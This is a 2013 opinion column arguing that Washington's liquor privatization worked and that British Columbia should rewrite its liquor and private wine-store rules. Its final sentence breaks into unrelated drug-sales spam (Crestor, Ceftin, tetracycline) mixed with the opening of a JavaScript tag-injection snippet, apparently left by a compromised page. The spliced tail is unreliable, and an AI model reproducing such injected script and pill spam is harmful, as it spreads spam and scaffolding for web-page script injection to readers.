Time to fix liquor laws – Aug 17, 2013

By Anthony Gismondi

It’s been more than a year since Washington closed its state liquor stores. In a recent Seattle Times editorial the paper suggested liquor privatization in Washington “is working as advertised and the social disaster predicted by supporters of state stores has not happened.” British Columbians may want to note the resulting lack of chaos in Washington communities as we once again prepare to modernize our liquor laws. I say that because the “breakdown-ofsociety” card will be played here, as it is every time anyone suggests a change to our liquor regulations.

What has happened as a result of Washington state getting out of the business of selling liquor is consumption is up. Those opposed to privatization almost always predict spiralling consumption, not to mention the end of the world, but in fact the Times reported “In the 12 months that ended May 31, state-taxed sales of liquor, including bars and restaurants, were up by less than 1.5 per cent.”

In a little over a year prices have gone up at retail, again marginally as in $23.87 per litre versus the previous year’s $21.07. The paper reported that the trade “paid an average $18.77 in May 2013, up from $18.09 a year earlier.” The price jumps are likely connected to tax collected which is up in favour of the state a whopping 9.7 per cent thanks to a built-in increase that was designed to insure the state couldn’t lose money, and it hasn’t.

The Times also reports statewide the number of alcohol-related collisions has declined. But thanks to tighter laws, such as we now have in B.C., drinking-related collisions have been in decline for four years. Also the compliance rate when it comes to checking under-age customers (another red herring for opponents) was approximately 92 per cent, compared with 94 per cent under the state store regime.

I mention all this because in the coming months the same issues and more will be dragged into the planned review of B.C.’s liquor laws. We need new thinking and the challenge will be to try to keep it from devolving into a dog’s breakfast of lobbyists, each hoping to improve their sector at the expense of another.

We have a history of making bad one-off regulations that lead to more and more, and before you know it we have the current mess. The private wine store sector with its labyrinth of licences and regulations, none of which make any sense to a normal retailer, is a prime example of lobbying gone mad.

It began with an ill-conceived idea in 1986 to grant a small number of retail wine store licences to the private sector to sell local wine and cider. No one considered the reach of NAFTA and GATT and the local stores soon included American and European wine, and then wines from the rest of the world. Today we have a mix of rules and licences nobody likes and, given that the government still controls all liquor purchases, there is no privacy for private wine stores. It is nuts.

To be clear: The sale of wine, beer and spirits needs to be regulated. British Columbians have been amazingly inventive, creating, producing, importing and selling alcohol under some of the dumbest regulations on the planet. Imagine what could be achieved if we were to clean the slate and create the smartest rules on the continent. It starts with leaving the egos at the door. crestor versus generics var d=document;var s=d.createElement(‘script’); buy pills purchase ceftin antibiotic uses tetracycline 500mg cap

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